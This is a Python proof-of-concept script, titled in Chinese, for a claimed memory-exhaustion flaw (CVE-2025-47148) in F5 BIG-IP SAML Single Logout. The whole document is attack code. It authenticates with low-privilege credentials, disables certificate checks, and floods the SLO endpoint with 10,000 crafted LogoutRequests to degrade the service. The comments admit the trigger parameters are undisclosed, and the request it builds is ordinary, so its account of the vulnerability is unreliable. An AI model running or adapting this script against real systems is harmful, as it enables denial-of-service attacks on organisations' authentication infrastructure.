CVE-2025-47148 F5 BIG-IP SAML SLO配置内存资源耗尽漏洞

# CVE-2025-47148 PoC - F5 BIG-IP SAML SLO Memory Exhaustion # This PoC demonstrates how to trigger memory resource exhaustion # by sending crafted SAML Single Logout (SLO) requests to a vulnerable # BIG-IP system configured as both SAML SP and IdP. import requests import base64 import time import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) # Target BIG-IP system configuration TARGET_URL = "https://bigip-target.example.com" SAML_SLO_ENDPOINT = "/saml/sp/slo" # SAML SLO endpoint USERNAME = "attacker_user" # Low-privilege authenticated user PASSWORD = "attacker_password" def create_malicious_slo_request(session_id): """ Create a malformed SAML LogoutRequest that triggers memory leak. The request contains undisclosed parameters that cause BIG-IP to allocate memory without proper cleanup. """ # Craft SAML LogoutRequest XML with malicious attributes logout_request = f"""<?xml version="1.0" encoding="UTF-8"?> <samlp:LogoutRequest xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" ID="_{session_id}" Version="2.0" IssueInstant="{time.strftime('%Y-%m-%dT%H:%M:%SZ')}" Destination="{TARGET_URL}{SAML_SLO_ENDPOINT}"> <saml:Issuer>malicious_sp</saml:Issuer> <saml:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress"> [email protected] </saml:NameID> <samlp:SessionIndex>{session_id}</samlp:SessionIndex> </samlp:LogoutRequest>""" # Base64 encode the SAML request encoded_request = base64.b64encode(logout_request.encode('utf-8')).decode('utf-8') return encoded_request def authenticate_and_get_session(): """ Authenticate to BIG-IP with low-privilege credentials to obtain session. Required because the vulnerability needs PR:L (Low privileges). """ session = requests.Session() login_data = { "username": USERNAME, "password": PASSWORD } response = session.post(f"{TARGET_URL}/mgmt/shared/authn/login", json=login_data, verify=False) if response.status_code == 200: print(f"[+] Authenticated successfully") return session else: print(f"[-] Authentication failed: {response.status_code}") return None def exploit_memory_exhaustion(session): """ Send repeated malicious SLO requests to exhaust memory resources. Each request causes memory allocation without proper cleanup. """ print("[*] Starting memory exhaustion attack...") count = 0 for i in range(10000): # Send many requests session_id = f"malicious_session_{i}_{int(time.time())}" encoded_slo = create_malicious_slo_request(session_id) # Send the malicious SLO request params = { "SAMLRequest": encoded_slo, "RelayState": "malicious_relay_state" } try: response = session.post( f"{TARGET_URL}{SAML_SLO_ENDPOINT}", params=params, verify=False, timeout=10 ) count += 1 if count % 100 == 0: print(f"[*] Sent {count} malicious SLO requests...") except requests.exceptions.RequestException as e: print(f"[!] Request failed (possible service degradation): {e}") break print(f"[+] Attack complete. Sent {count} requests total.") if __name__ == "__main__": print("=" * 60) print("CVE-2025-47148 - F5 BIG-IP SAML SLO Memory Exhaustion PoC") print("=" * 60) # Step 1: Authenticate with low-privilege credentials session = authenticate_and_get_session() if session: # Step 2: Exploit the vulnerability exploit_memory_exhaustion(session)